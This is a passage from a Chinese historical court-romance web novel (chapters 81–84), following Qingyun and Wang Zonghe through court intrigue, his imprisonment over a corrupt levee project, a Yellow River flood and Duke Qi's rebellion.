无论她说什么,清蕴都听得认真,回得有礼,让郑氏有种一拳打进棉花的感觉,最后悻悻然放人。 王宗赫今天回得晚,没想到清蕴还没用饭,“下次不用等我。” 清蕴:“本来也不饿。” 王宗赫解去官袍,换上常服去洗手,待身上干干净净再回屋。 其余人都识趣地退下。 没有要事时,夫妻俩一般秉承“食不言”的规矩,很少在用饭的时候说话。 清蕴总觉得今天他有话想说,几次看过来,又没开口,于是主动问,“三哥今天回得晚,被什么事绊住了?” “一些琐事,没什么大碍。”王宗赫道,“今天在家做了什么?” 两人打开话匣,各自聊了些今日见闻,没什么不寻常之处。 用饭后走了会儿,看大半个时辰的书,夫妻一起上榻,清蕴唤他,“三哥。” “嗯?” “你很想要个孩子吗?” 王宗赫摇头,以为她在介怀昨晚,“昨夜是我想岔了,不该说那话。” 清蕴道:“和翊儿无关,只说这一事。” 清蕴不是会对一件事耿耿于怀的人,王宗赫飞快观察过她神色,直觉今天家中肯定发生了什么,最有可能的是母亲又拿子嗣来“训导”清蕴。 他沉思片刻,“我确实想要个和你的孩子,但急不得,缘分到了,自然就有。” 清蕴:“假如一直没有呢?” 王宗赫微怔。 他想到了两种可能,清蕴不想,或清蕴不能。 后者可能性极小,清蕴自八岁长在王家,从未受伤或生过大病,身体康健。如果有问题,此前那么多次大夫给家人请平安脉,早就发现了。 他不动声色,“为何会没有?” 清蕴:“我有一友人,嫁去夫家三年无子。夫妻俩本来感情极好,因此事渐趋陌路,最后和离了。” 王宗赫迅速意识到她说的是何人,应当是承恩伯的小女儿,在他和清蕴成婚没多久后和离,其夫家正是以她三年无子的名义休妻。 所以是因此伤怀么? 王宗赫宽慰道:“我们成婚才半年。” 清蕴:“……” 根本就不是时间的问题,但三哥好像根本没意识到她在问什么。 想想也是,他在身体的嘘寒问暖上能够体贴入微,但揣测女子心思上始终差了一筹,不然当初她不会那么久才明白他的心意。 看王宗赫这一本正经的模样,清蕴顿时又觉得没什么必要再问,“确实,才半年而已。” 该急的时候再急。 王宗赫道:“如果是母亲又说了什么,不必放在心上,等抽个时间,我去和她谈谈。” 清蕴说好。 王宗赫又道:“十多年才生孩子的也有,不要受旁人影响。” 清蕴笑了笑。 如此过了两天,清蕴又被请进宫陪伴杨翊。 杨翊状态好了许多,除去依旧不能说话,发呆出神次数渐少,交流起来越发顺畅了。 清蕴依旧给他讲书,杨翊在旁边正襟危坐,鼓鼓的包子脸上满是认真。 这回讲到一半,清蕴突然回头,抓到了窗边的不速之客。 文昭帝离开的速度慢了些,脸色发红地被宫人迎了进来。 清蕴奇怪,“陛下不是应该正在上课吗?” 文昭帝:“教四书的先生告病假了,就来看看二弟。” 清蕴哪能想到小皇帝在撒谎,吩咐人给他上茶,听他问“我能否留下来一起听听”,略作思索就应了下来。 文昭帝很高兴,被弟弟警惕地瞪了也不在意,要了个矮凳,乖乖地坐在旁边。 被两双睁得圆溜溜的眼睛望着时,清蕴有种自己正在做教书先生的感觉。 当了一个多月皇帝,文昭帝仍没有天子的架子和气势,且相较于强势的母后,他更喜欢弟弟这位温柔的姨母。 此前因父皇而对清蕴生出的那点看法都消失了,只觉得承乾宫这儿成了自己唯一可以休憩的净土。 美中不足的是,陆夫人只会夸弟弟、抱弟弟,对他则恭敬客气有余,亲近不足。 溜到承乾宫听书的第三次,文昭帝被抓住了,且是被淑太妃抓住。 淑太妃便是王令娴,她如今没什么事,偶尔会来承乾宫溜达,看望杨翊。 瞥见文昭帝身影时很是吃惊,“陛下在这儿?方才太后还带着闻喜,正怒气冲冲地到处找您呢。” 文昭帝紧张起来,“闻喜怎么样?” 王令娴:“暂时看着没事。” 文昭帝立刻道:“那我再躲会儿,淑太妃别告诉我母后。” 王令娴:“……” 清蕴问道:“所以陛下不是因先生告假而来,是私自跑来的?” 文昭帝耷拉着脑袋没说话。 清蕴:“是不想上课吗?” 文昭帝用复杂的眼神看着她,好半晌道:“母后换掉了老师,我不喜欢其他人讲课,不想听。” 他没法明着反抗母后,就只能用不听课的方式表达不满。 文昭帝让闻喜假扮自己待在屏风后,他就满宫溜达,这几天才固定来承乾宫。 清蕴怔住,他口中的老师,一般是指王宗赫。 三哥被免了为天子讲书的职?在家从未提过。 文昭帝还不知自己揭了先生的底,低声继续:“母后还把老师赶去了工部,我没能拦住,陆夫人肯定觉得我很没用吧。” 清蕴:“……”她甚至也不知三哥转到了工部。 但面对小皇帝生怕自己嫌弃他的眼神,清蕴道:“陛下年纪尚小。” 文昭帝点点头,“等我再大些,一定把老师调回来,陆夫人别气。” 他道:“那我以后继续来听书,夫人不会赶我吧?” 清蕴:“陛下为天子,自是想去哪儿都行。” 王令娴看着,噗嗤笑起来。 第82章 你这钓的是鱼还是媳妇儿? 李审言纵马跑了几圈, 浑身大汗地归来,阿宽早早就守在大门外,接过主子丢来的马鞭,跟着跑上去, “爷, 孟公子在等您。” “孟嘉?”李审言转了个向, 往院子里去, “备桌饭菜来。” 阿宽:“料想爷回来该饿了,早就备好了, 还是您爱吃的那几样,多添了条孟公子爱吃的鱼。” 阿宽快速道出这几句话,随军几年,他行事也愈发干练了,让李审言多瞧了眼。 原先干瘦的人健壮许多, 肤色也晒黑许多, 成为深麦色,乍一看,完全看不出原本国公府小厮的模样。不用照镜子, 李审言也知道自己只会比阿宽更黑。 他没想过带阿宽,当初是阿宽自己主动请缨,非跟着他们去平乱,没想到一出来就是几年。 从领兵平乱到新君登基一年有余, 他们也从广西向北进入了贵州, 再到云南曲靖、四川永宁。 现在停留在此地, 就是等待主力军从毕节北上, 联合他们封锁长江,再从乌蒙山小道奇袭永宁。 这阵子没事, 李审言发现阿宽时不时就到附近转悠,直到撞见他帮一农家姑娘插秧的场景,才明白阿宽的意图。 主仆俩感情好了许多,李审言边走边调侃,“今天不去帮忙种地了?” 阿宽脸一红,“不去了,咱们还不知能在这儿待多久,也不清楚什么时候安定,还是不耽搁人家了。” 李审言意外,他还以为阿宽是无论到哪儿都不忘女人。 想起阿宽曾经提过的人,李审言想了会儿才记起人名,“还记着京城的……阿香?” 阿宽神色转为失落,“这一去几年,我寄过去的信都没了回复,听说阿香早就嫁人了,也不好再打搅人家。” 李审言脚步顿住,深瞧了阿宽一眼,看得他莫名其妙,“怎么了?” 李审言:“没用的东西。” 莫名其妙挨一顿骂,阿宽挠挠脑袋,没弄明白,“那咱们离得这么远,小的总不能拦着她嫁人吧?战场上朝不保夕的,要不是爷护着,我这条小命早就没了。” 李审言更不高兴,冷嗤一声,不再迁就他的速度,大跨步离去。 暂时歇脚的这间屋子原先是富商家宅,因战乱迁走了,这一带房屋空闲许多,就被征用。李审言不好享受,除去睡觉的屋子,其他地方看都没看过,因此看到孟嘉在院子里煮茶时,挑了挑眉。 孟嘉笑,“一来就见到这副好茶器,忍不住让阿宽拿过来用了用。” 李审言坐下,拿起他递来的茶牛饮一杯,豪放的姿态让孟嘉摇头,“茶需细品,幸好我带来的也不是什么好茶,不然以你的架势,真是牛嚼牡丹。” 扫过他,李审言又喝了三杯。 知道面前人不爱这些文人雅戏,孟嘉就自顾自品了一杯,随后道:“彝族已定,等将军带人与我们一会和,攻下永宁宣抚司,土司之乱就彻底平定了。” 李审言淡应一声。 孟嘉:“你和将军还没拜见过新君,这一下,岂不是要大受封赏?” 讲了个不冷不淡的笑话。 自从齐国公私下派人把太夫人接走后,现在谁不知道齐国公以平乱的名义在西南一带囤积兵力,朝廷都难以管辖? 一来土司的乱子只有齐国公有办法,二来西南几省巡抚都已经暗中归顺齐国公,朝廷鞭长莫及,这时候再派人来也没用。 途中朝廷倒是想拿军需之事来拿捏他们,可惜为时已晚,他们早就可以自己从别处获得粮草补给,朝廷真做得太过,大不了明面上掀台。 新君登基后,其母族在朝堂上大肆排除异己,施迫民之策,如今已经快到上下否鬲、中外睽携的地步。先帝殡天前,民间已经有起义频发,新君登基后,起义势力不减反增,相较之下,西南一带反而算“乱得安稳”。 孟嘉冷眼看着,已经越发感觉到自己的预想即将实现。事实证明,他的选择没有错,放眼全国,大小势力各异,但还没有人能和齐国公抗衡。 这几年在平乱途中,齐国公做的事也不只有交战。每平定一地,他都会挑选得用之人接管治理,身边陆陆续续多了不少追随者。 有人向齐国公表忠心,自然也有人向李审言投诚,这对父子都是猛将,野心勃勃。 不过在李审言这儿,孟嘉自是要排第一位。 说过笑话,孟嘉正色道:“将军可曾和你说过接下来的打算?” 李审言:“没有明说。” 不过他也猜得到。 老头子要名声,当初暗地里帮大皇子登基,又一步步纵容新君和柳家,让民间对其怨声载道。接下来,就是在等一个名正言顺起事的理由。 让李审言来说,老头子还是想得太多,当初如果帮小皇子登基,光明正大回去扶持自己外孙,照样能够摄政,再逐渐取而代之。 归根到底,还是对那位大长公主和外孙留情,不想和他们走到那一步。 李审言对素未谋面的小外甥不会有那么多慈爱之心,倘若那是前进道路上的一块绊脚石,他只会毫不留情地除去,没那么多耐心搬走。 从那夜离开京城后,他的心中就一直憋着一股火。随着时间流逝,这火焰不仅没有熄灭,反而随着京中消息的传来,越烧越大。 时至今日,他只想立刻回京。 ** 文昭二年夏,京城闷热异常。 清蕴来了月事,屋子没摆多少冰,多靠穿堂风和团扇纳凉。 她倚靠美人榻上看书,王宗赫就在旁边写写画画。 写着写着,忽然把笔一丢,往后仰靠在椅背上,向来从容的脸上难得有丝不耐烦。 清蕴眼也不抬,“王大人就做好了?” 王宗赫转头,低唤一声“猗猗”。 清蕴没答,随手端起杯盏喝了口水,搁下时,身边人自觉帮她满上。 不一会儿,人也凑了过来,清蕴微微蹙眉。 她体温偏低,处于特殊日子时更凉些,是真正的冰肌玉骨。王宗赫则不然,冬天像个火炉,那会儿清蕴很愿意靠着他,夏天就敬谢不敏了。 知道她这时候没什么耐心,王宗赫就只握住她的手把玩,而后慢慢端详,比写工部的折子和画图纸时用心多了。 清蕴终于放下书搭理他,“三哥不是说,无论在哪儿都是一样办差,没有区别么?” 王宗赫被调到工部后,没有立刻和清蕴说。等事后她才从文昭帝那儿知晓,问起时只道六部中无论哪部对他来说都一样,工部之事在部分文官眼中是和文章无关的奇技淫巧,在他眼中则是干实事。 前提是,工部之人没有受柳太后指示,故意分给他枯燥乏味、无需任何思考的琐事。 譬如整理陈年旧档、抄写无关紧要的书本、监督无关痛痒的修缮工程,既消耗时间,又无处展示才能。 刚才王宗赫就是在对比工人描画出的废弃宫室新图样,修的是废弃了十多年的撷芳殿。撷芳殿为历代帝王采选秀女的场所,先帝多年没选秀,一直搁置着,据说梁柱都被白蚁蛀空了。 工部当然也有许多正事,譬如前阵子东南暴冲毁官道,这等要务却交给了柳太后那连算盘都不会打的表侄。 王宗赫纵有个首辅当老师,也抵不过势力越发庞大的柳太后。 柳太后这支大概是往日里被柳阁老压制得太狠,一旦得了机会,就拼命弄权,连柳阁老的亲孙子都被若有似无地排挤,更别说王家人。 文昭帝喜欢王宗赫这个曾经老师,更喜欢清蕴这个“姨母”,在王宗赫处处受排挤时,有次试探性地问清蕴意见,是否要帮老师开口。 清蕴当时无可无不可地应了,文昭帝大受鼓励,为了她和王宗赫,第一次和柳太后据理力争,母子俩破天荒地发生争吵。连在朝堂上,文昭帝也鼓起勇气驳斥了柳太后一系的官员。 事后,清蕴却被王宗赫施以劝诫了,道她不该介入文昭帝和柳太后之间。他的语气不重,句句有理,但听在清蕴耳中就是指责,因此不愿再管王宗赫职务变动的事。 她表面如常,内里冷淡,王宗赫受了好一阵冷落,费尽心思才让清蕴再愿意对自己流露真实性子。 这会儿面对清蕴小小的嘲讽,只是无奈道:“本该没有区别。” 视线稍稍往后越,清蕴看到摆了满桌的图纸,“撷芳殿修好了,会另作他用吗?” 王宗赫摇头。 那就是依然用来选秀,可文昭帝才九岁,等他选秀至少也得十年,到时候宫殿老旧,依然要修缮,现在摆明了是做无用功。 清蕴建议:“选个最简单的图样,随便修修?” 王宗赫点头,“我也是这么打算的。” 看他神情,清蕴大致懂了。 三哥性子太认真,只要经手的事,再小都不会敷衍,他口中的“随便”和她理解的恐怕大有不同。 柳阁老喜欢他这股认真劲儿,如今到工部做这种琐事,这份认真就化为了疲惫。 清蕴道:“三哥该学会放松些。” 王宗赫知道,清蕴是在劝自己抓大放小。其实他何尝不清楚在做无用功,不过是没法适应太闲适的日子,总得找些事做。 如果清蕴愿意和他一起,他倒不介意放下庶务,陪她游山玩水也好,看书写字也好,都不会无趣。可惜她人虽不在官场,却远比他这个每天要上朝的人忙碌。 大长公主创立的织经堂每三日必去,铺子一月至少看两次,账册之流则是不定时查阅。前些日子还和郡主李琪瑛合办了一间学堂,请的都是学者大儒,只收有天资、聪慧绝伦的学生。 王宗赫去看过那间学堂,有富家子弟,也有平民百姓,少有高门大族之后,但无一例外都很聪明,小小年纪,却不容小觑。 其中有个叫江衡的孩子,给他留下深刻印象。事后才知晓是清蕴偶然结识的一位妇人之孙,很得清蕴喜爱,地位只比如今被封为静王的杨翊差些。 有这么多事占据清蕴心神,王宗赫能分到的时间自然少了许多。 难得她今天无事,他才把本该在官署处理好的事务带回家。 顺着清蕴的话想了想,他道:“陪我去垂钓?” 见他实在被折腾得不轻,暂时又没事,清蕴颔首,“傍晚再去吧,现在太热了。” 夫妻俩商议好,王宗赫接下来就认真处理好了正事,等日头渐落,再拿着器具往城内的白马河去。 马车停在巷角,夫妻俩一个戴斗笠,一个戴帷帽,低调地和许多老翁一样,趁稍微凉快些的时候来垂钓。 清蕴坐在小凳上旁观,她不曾特意打扰,王宗赫却专注不了,一会儿低声和她说话,一会儿问她热不热,还腾出手帮她打扇。 旁边老翁瞥了又瞥,忍不住开口,“年轻人,你这钓的是鱼还是媳妇儿?” 竹编斗笠下露出半截花白胡子,随着笑声簌簌颤动,“老朽数着呢,半盏茶功夫你看了这小姑娘七回,倒比看浮漂还勤快。” 清蕴帷帽下的耳尖微微泛红,王宗赫却坦荡地将鱼竿往青石缝里一卡,拱手道:“让老丈见笑了,实在是在下愚钝,学不会这姜太公钓鱼的定力。” “非也非也。”老翁突然收竿,鱼线在空中划出银弧,钩上空空如也,“老夫看你是太懂钓鱼——知道这白马河里金鳞最喜食何物?” 他笑,“不是蚯蚓也不是米糠,是柳叶儿。” 大概是这段时间对“柳”一词过于敏感,王宗赫听到的瞬间就忍不住朝老翁看去。 老翁穿着平凡,没什么特殊,注意到王宗赫的目光,对他努努嘴,示意看对面。 夫妻俩发现,对面不知何时演起了一出官兵抓人的戏码。 被抓的青年一身斓衫,书生模样,气势凛然地说着什么。在他身后,似乎是家里人在哭喊恳求。 王宗赫看老翁,“老丈知道发生了何事?” 老翁:“自然,这人前阵子做了首诗,几乎人人都听过。” 夫妻俩心头微沉,都想起了老翁口中的诗。 宫墙柳,宫墙柳,遮天蔽日龙垂首。昨夜东风卷地来,金枝跌进臭水沟。 与其说诗,不如说是便于口口相传的民谣,直白易懂。 正是太直白了,当其传入清蕴和王宗赫耳中时,他们都意识到作诗人的用心和他可能的下场。 柳太后和她背后的柳家人,听到这首诗定然大怒。 王宗赫看向那书生,知道他不过是颗棋子,这诗背后肯定有人推波助澜。但能够推波助澜到这地步,证明民间谣言已经满天飞。 这场本来作娱乐之用的垂钓,因着这一幕,夫妻俩都没能放松。 第83章 这小子,还是这么张狂 朝堂权柄可凭一人独断, 但历史洪流从不屈从于谁的掌心。纵使柳太后垂帘听政,大举提拔同支族亲,终究压不住九洲沸反的讨逆声浪。 内有同宗异梦的柳阁老掣肘朝纲,外有数十万铁骑虎视眈眈的齐国公。北境狼烟未熄, 东海倭寇又起。更致命的是先帝暴毙留下的悬刃——文昭帝继位的正统性始终不明, 四海皆疑。 在这种内外交困的危局里, 柳太后把权柄攥得愈发急切, 导致乱象频生。 这把火经由幕后人操纵,越烧越大。王宗赫已经尽量明哲保身, 但身处朝堂,还是不可避免被波及了。 柳家人负责修缮黄河护堤,在押送修缮用材时,推车不慎翻倒,石块掉出来, 被人认出修缮护堤用的竟是遇水膨胀的青石。 黄河护堤向来用糯米灰浆浇铸铁榫, 唯有柳家经营的采石场才产这种遇水膨胀的青岩。他们用青石,对户部报账时用的是花岗岩的价,无非是想偷工减料, 从中牟取利益。 起初被检举,他们还编出前朝治水用书,说青石遇水则固,是神石。被人用事实揭穿后, 就立刻说是工部其他人擅自伪造账目, 从中受贿。 审讯中, 有人受不住牢狱之苦自尽, 刑部搜查其家时,发现了工部受贿官员的名录, 其中王宗赫就在首位。 王宗赫有没有受贿,自家人最清楚,他根本不缺银子,也不可能收这种钱。但柳家人铁了心要拉王家下水,根本不可能轻易放过他。 最重要的是,河堤已经修建得差不多了,即使现在重修,也注定晚了。 这个道理,清蕴明白,王贞、王维章等人更明白。 郑氏则更操心儿子的安危。 王宗赫被单独押在刑部大牢,因他的案子,作为大理寺卿的王维章也被暂时停职在家,朝堂上能够明面走动的王家人就剩王维清一人。 王宗赫被关押的第五天,清蕴在书房听长辈们商量,话说到一半,郑氏忽然开口,“陛下不是很听清蕴的话么?让她去找陛下就是。” 王维章皱眉,“慎言!” 郑氏:“我说的有什么问题?谁不知道小皇帝对她喜欢得很,为她能够顶撞太后。年纪再小,那也是皇帝,一言九鼎,难道连放个人的权力都没有?” 随后继续不阴不阳道:“三郎为了娶她得罪先帝,处处受排挤,要不是他自己有本事,早就被罢官了。如今好不容易挣出些局面,又叫人平白连累,说到底,祸根在哪儿还未可知。” 这话是在暗喻九岁的文昭帝也对清蕴有说不清道不明的心思,连王贞也听得刺耳。 清蕴:“祸根在哪儿?母亲不妨说清楚。” 郑氏冷笑,“你能问,我却不好意思说。” 她认定面前人是红颜祸水,一次又一次祸害儿子。早知如今,当初她拼死也要拦着儿子娶陆清蕴! 清蕴没有动怒,“母亲既然要论祸根,不妨摊开算。去年太后强征陇右军田,三哥在奏疏里用朱砂圈出柳氏私铸兵器图样,柳尚书可是当朝骂三哥为‘竖子’?” 郑氏怔住。 “您总说三哥因我触怒先帝,却不见他执意清查禁军空饷时,有人往御前递了十几道弹劾折子。”清蕴看着她,“真正要他命的,到底是小儿女情谊,还是挡了别人百万雪花银的财路?” 平时郑氏挑刺为难,清蕴可以视而不见,也可以圆滑周旋,但她不会一味柔顺。 “母亲此刻逼我入宫求情,是要让陛下看见王家与柳氏撕咬,还是提醒太后该灭谁的口?”清蕴突然抓起案上几张纸,泛黄纸页放在郑氏面前,“这供状里夹着柳氏钱庄的兑票存根,三哥若真受贿,怎会用柳家商号过账?” “您比谁都清楚三哥不会碰脏银。”清蕴的声音陡然转轻,"可您对事实视而不见,而是在这里为难于我,甚至要借我挑起太后怒火,到底是怕三哥死,还是怕他活呢?” 郑氏哑口无言,她那些话确实有大半在发泄怒火,没想到会被一条条地驳回,又怒又怔,脸色青青白白。 王贞失望地看着儿媳,这么多年了还是没长进,喜欢钻牛角尖,遇事就冲动。 他对儿子道:“明天你拿我的玉牌进宫,不必求情,只管问陛下和太后讨要三司会审的恩典。” 起码得要个相对公平的裁定。 王维章应是。 王贞再转向清蕴,“你单独随我来。” 清蕴:“是。” 王贞交待的什么话,其他人不得而知,郑氏转头被丈夫训斥了顿,不甘心道:“就算我冤枉了她吧,三郎是她夫君,现在有难,她去求求人怎么了?还是说她的面子比三郎性命还金贵?” 王维章:“……”原来刚才说了那么多,她压根没听进去。 心中有了成见,确实难以保持理智,王维章也没继续责怪妻子,只道:“这事我们心里都有数,他少不得要吃点皮肉苦,一味埋怨清蕴也没用。你实在着急,就陪母亲去礼佛吧。” 郑氏犹豫会儿,还真陪秦夫人礼佛去了。 ** 清蕴没打算进宫,就算文昭帝愿意帮她,也没多少用处,他根本做不了主。 她进刑部牢狱去看了王宗赫。 刑部大牢深处飘着腐草与血锈的气味,清蕴跟着狱卒转过三道铁门。 最里间的牢房里,王宗赫正借着高窗漏下的天光在墙上写算,听见锁链响动时指尖微顿,石灰墙上留着半道未写完的堤坝截面公式。 “三哥倒是清闲。”等狱卒退到远处,清蕴才开口,手指拂过栅栏。 她今天特意穿了暗纹不起眼的雪青襦裙,鬓边珠钗换成银簪,在王宗赫眼中,像支误入幽暗处的玉兰。 “这里潮气重,该穿件披风来。” “没那么凉。”清蕴从食盒底层取出温着的药盅,“母亲很担心你,在广济寺供了长明灯,父亲前日面圣,提了三司会审。” 她把家里的消息一一道来,目光扫过他手腕,那里留下了几道结痂的伤口,果然有人对他用了私刑。 王宗赫接过药盏,忽然握住她欲缩回的手,看起来像是久违见面的小夫妻亲昵。 “青石遇水膨胀的周期是六个月左右。”王宗赫声音很轻,拇指摩挲着她掌心薄茧,“算着日子,秋汛该到开封府了。” 清蕴微顿,“你的意思是……要决堤了?” 王宗赫低声,“很多人就在等这个。” 其中最有势力的一方,也是她最熟悉的那个。 等溃堤之日,恐怕就是“清君侧”檄文传檄天下之时。 王宗赫入狱以来,慢慢理清了接下来局势走向。如果可以,他其实想保住黄河护堤,但柳太后不容他,其他人也不敢补救。 一旦溃堤,影响的是几十万百姓和万亩农田。朝堂间的争斗,要牺牲这些百姓的性命,无论于公于私,王宗赫都不忍。 也是因此,王宗赫认为,即使齐国公夺位,也不见得比先帝、柳太后仁慈多少。 相识十几年,又作为夫妻共处两载,清蕴看得出他的想法,“三哥想做什么?” 王宗赫:“陈危手中有兵,他是你的人,之前凭借‘捐输筑堤’得到漕运专权的背后,也是猗猗你,对不对?” 他这样敏锐,清蕴一点也不意外这些事被他察觉,点头。 “我知道猗猗你有抱负,有决断。”王宗赫静看她,“所以有件事,现在恐怕只有你能做,你会做。” ………… 仲夏的暴雨来得又急又猛,黄河水裹挟着泥沙奔腾而下。彰德府的堤坝在第七个昼夜的冲击下轰然溃决,浊浪如脱缰野马冲向下游三州十八县。 像王宗赫预料的那样,溃堤来得既迅速又猛烈,黄河两岸农田尽毁。 千里之外的云南军营里,齐国公捏着最新线报霍然起身:“开封到归德全淹了?” 马青点头,“柳氏用青石筑堤,遇水膨胀反而加速溃坝。现在百万灾民堵在徐州官道,柳太后竟下令” 他的声音突然顿住。 “下令什么?” “射杀流民。” 帐外惊雷炸响,把齐国公双眼照得雪亮。他抓起佩剑大步流星往外走,召来麾下所有将领,把京城的事一一道来,问道:“柳氏祸国至此,诸位怎么看?” 帐外暴雨如注,火把在风中明灭不定,十余名将领分列左右。 马青率先道:“请将军即刻发兵!柳氏用青石筑堤在先,屠戮灾民在后,天怒至此,正应檄文所书——诛奸佞,正天纲!” 齐国公抚抚须,没说话。 参军赵镇接着道:“徐州流民已聚七万之众,可效光武昆阳故事,以‘代天抚民’为旗号。只要放出‘李’字帅旗,三日之内必成燎原之势。” 眼见齐国公沉默不语,似在犹豫,其余人立刻七嘴八舌说起来,有拿天意相劝的,有让他为李氏族人考虑的。 齐国公最后看向难得沉得住气的儿子,“你怎么想?” 他想知道李审言的看法。 李审言横刀倚在灯台边,闻言嗤笑一声:“黄袍都备好了,还要演这出三请三让的戏码?” 帐内霎时死寂,暴雨砸在牛皮帐顶如擂战鼓,将领们面面相觑、尴尬至极。要是孟嘉在这儿,估计恨不得跳起来捂住李审言这张嘴。 李审言可不管别人看法,拔出剑,剑锋扫过沙盘里象征京城的木雕,“人要杀,檄文要写,但我可不是给泥腿子打头阵的丧家犬。今夜取道汉中,七日破潼关,柳氏那些裹着绸缎的禁军够我磨刀么?” 齐国公冷笑,“狂妄!” “您当初杀京城来使的时候,不也是顶着十二道金令箭?”李审言反讥,“如今倒讲起什么名正言顺了。” 他突然站起身,“将军不肯定主意,那就在这儿等着,等属下告诉您什么叫改天换日。” 齐国公眼角抽搐了下,这小子,还是这么张狂,要不是这么多人在场,高低得抽他一顿。 他觉得儿子不懂藏锋,却有的是人欣赏李审言的作风,“小将军说得不错,将军顾忌那么多做什么,妖后挟持幼主,暴施无道咱们做的是匡扶正统的事,犹豫什么?” 至于打进京城以后要怎么扶,正统还在不在,那还不是他们说了算! 这些话,其他人没说出口,可眼底分明是同样的意思。 齐国公终于定下主意,“好,传令各军,把存着过冬的土豆全发给灾民。马青带轻骑走太行陉,七日内把童谣唱到紫禁城下,诛妖后,清君侧,开粮仓!” 布置完这一切,李审言回到住处,抓起刚送来信,一字一句看过去,随后忍不住笑了下。 陆清蕴什么时候做起了大善人,宁愿自己出人又出钱,就为了帮那些流民? 他不觉得这是陆清蕴会主动去做的事,肯定是别人先提起,对她也有一定好处。 不过……与其费心劳力去做这些,还不如等他们进京后,留着那些来帮他们。 想到即将见面的场景,李审言眯起双眼,他可还记得半年前王宗赫提议给他封赏,让他提前回京的事。 明面上是褒奖,实际上是让他回京为质,让老头子不敢轻易动弹。 李审言找了个理由砍了传旨人,始终没忘记王宗赫给自己的这份礼物。等进了京城,可不得好好报答他。 听说王宗赫现在还在狱中,李审言不信以这人筹谋的能力会真正身陷囹圄不得脱身,定又是打着什么主意。 文臣心眼子多,做一件事要绕七八十来个圈。李审言不想那么多,他就准备赶紧帮帮这王老三,让人真正躺在大狱里出不来。 一回生,二回熟,陆清蕴第一任丈夫就去得突然,就算第二任丈夫出意外,应该也能很快接受。 第84章 嫂嫂,好久不见 护堤崩塌, 流民不断增加,齐国公打的名号正合人心,兼之他一路上开粮仓、杀贪官,迅速得到了大批支持。 朝廷手里兵力也不少, 尤其是镇守九大重镇的兵力, 加起来有数百万之众。但这些人或是不方便调遣, 或是有意作壁上观, 导致真正能对上齐国公的人寥寥无几,甚至有人被当场策反。 没办法, 这几年柳太后行事过激了些,又有大批文人操纵舆论大势,以至她十分不得人心。 其实真正论起来,柳太后和文昭帝上台后,做的荒唐事还不及先帝十之一二。但先帝为正统登基, 当初正值壮年, 还有率兵征战的战功及效忠他的文臣武将在手,光用舆论逼他用处不大,当初齐国公就没怎么用这招。 换成柳太后, 作用就与众不同了。 能够兵不血刃,就没必要硬闯硬拼。 李审言和齐国公进京路线不同,父子俩各自领兵,准备两方夹击。 但李审言这儿太过轻松, 让他总琢磨着其他。 孟嘉受齐国公命令盯着人, 以防李审言心血来潮, 要去干点什么惊心动魄的大事。 眼见李审言又不知收到了哪儿来的密信, 孟嘉探头想去看,却被挡得严严实实, 让他狐疑不已,“你想去做什么?这时候可千万不能擅自行动。” 他想起李审言几年前独自带兵进京的事就头皮发麻,那会儿先帝还在,一旦被发现,李审言根本不可能活着离开。 李审言斜眼,“你什么时候成了老头子的眼线?” 孟嘉笑了笑,给他斟茶,“可别冤枉我,将军是因为什么对我另眼相看,我还是清楚的。只是担心你又收到什么消息,冲动行事。” 凭孟嘉微妙的直觉,他总觉得李审言进京那次是因为女人,此刻密信的内容,也极有可能和进京那次相关。 私下里,他向阿宽打探过,问李审言有什么相好的女子。结果阿宽摸头半晌,说他们家爷最重视和要好的女子只有太夫人,其他的连说得上名号的都没有。 李审言摇头,“没什么事。” 孟嘉不信,没事他眼底兴奋什么,愈发警惕,“咱们是在这儿守半个月,等将军下令前去会和吧?” 李审言挑眉,“你已经问了三遍,怎么,年纪大了,记性不好?” 孟嘉哽住,他是为谁才一遍又一遍提醒? 眼见李审言暂时没有策马溜向某处的打算,孟嘉不好时刻盯着人。作为管理粮草运输的军需官,他还有一堆事要做。 临走前叮嘱阿宽,“小将军若要去哪处,记得来告诉我一声。” 阿宽应声,“好嘞。” 屋内,李审言又取出那封信细看,上面正是清蕴如今动向。她用漕运船运来了三十万石粟米,现在人跟着船到了徐州。 离这儿不远。 她一个人运这么多粮食,也不怕被人给劫了? 于公于私,都得跑这一趟吧。 李审言打定主意,当夜悄然点了五百轻骑,让他们随自己赶去几百里外的徐州。 孟嘉发现人不见时,已经是第二天早上了,快马加鞭都赶不上。 怪不得昨晚睡觉时眼皮一直在猛跳! 孟嘉眼神沉沉盯着阿宽,“你当真不知道去了哪儿?” 阿宽无辜,“小的真不知,爷压根没对我说过。” 顶多是昨晚听见了动静,故意装不知道,没起来而已。 对阿宽不可能严刑逼供,孟嘉只能自己查,从他们离开的方向和来去能够用的时间估算,很大可能是徐州。 徐州,徐州……孟嘉绞尽脑汁,徐州到底有什么特殊之处? 他想到之有人传过消息,说王侍郎的夫人疑似在借漕运船运输粮米救济灾民。徐州,不就是灾民汇聚的地方之一吗? 可这会儿去徐州,总不能是去劫粮船吧? 过去种种在孟嘉脑海中交织,脑海中灵光一闪,李审言对王家尤其是王侍郎莫名的敌意被孟嘉想起,他去京城那阵子,不正好是王侍郎成婚么?成婚的对象,是曾经的世子夫人、李审言的大嫂…… 一个极其荒谬又不可置信的猜想逐渐形成,孟嘉呆愣着,忽然“啊——”得大叫一声。 他哪儿是劫粮,分明是去劫人啊! ** 暴雨后的徐州码头飘着浑浊的土腥气,三十艘漕船在运河上排成长蛇。 清蕴站在船头,看着岸上乌压压的流民像被雨水打湿的蚁群,在官差鞭影下蜷缩成团。 “夫人,漕运司的人说这粮要先入官仓。”管事抹着汗回禀,“他们派了二十个书吏过来验粮,怕是三天都验不完。” 清蕴扫过每艘船上的护卫,陈危给她送来了三百人,如果单纯护送粮米是够了,但当地官府要插一手的话,这点人还不够看。 内乱频生,柳太后正自身难保,从上到下的官员倒是依旧不忘“初心”,这时候也要刁难。 她转身看向码头凉棚里喝茶的漕运司主事,吩咐身边人,“告诉他们,每船抽十袋验看。若敢拖延,就让知府亲自来和我说话。” 话传过去,凉棚下的赵德全眯起眼睛,看着漕船上那抹雪青身影。 他当然知道这是王侍郎的夫人,和大长公主也关系匪浅,但之前柳家传来的密信说得明白:不准任何人私自赈灾。 这是要让王侍郎做实罪名,所以这批粮必须烂在徐州。 “去把火油备好。”他唤来随从,低声吩咐了一些事,回头倒是恭恭敬敬地应了清蕴的话,每船抽十袋验看。 看当地官兵开始按顺序验粮,清蕴回到船内。 白芷帮她解下披风,“主子为什么不让陈危回来?” 清蕴:“还不到时候,他在那儿也有事做。” 她待的这艘船有客舱,足够容纳几人起居。清蕴特意备的这艘船,以防上岸有更多意外。 等待验粮的时间,她稍微歇息了会儿。 夜幕降临时,船头突然传来骚动。 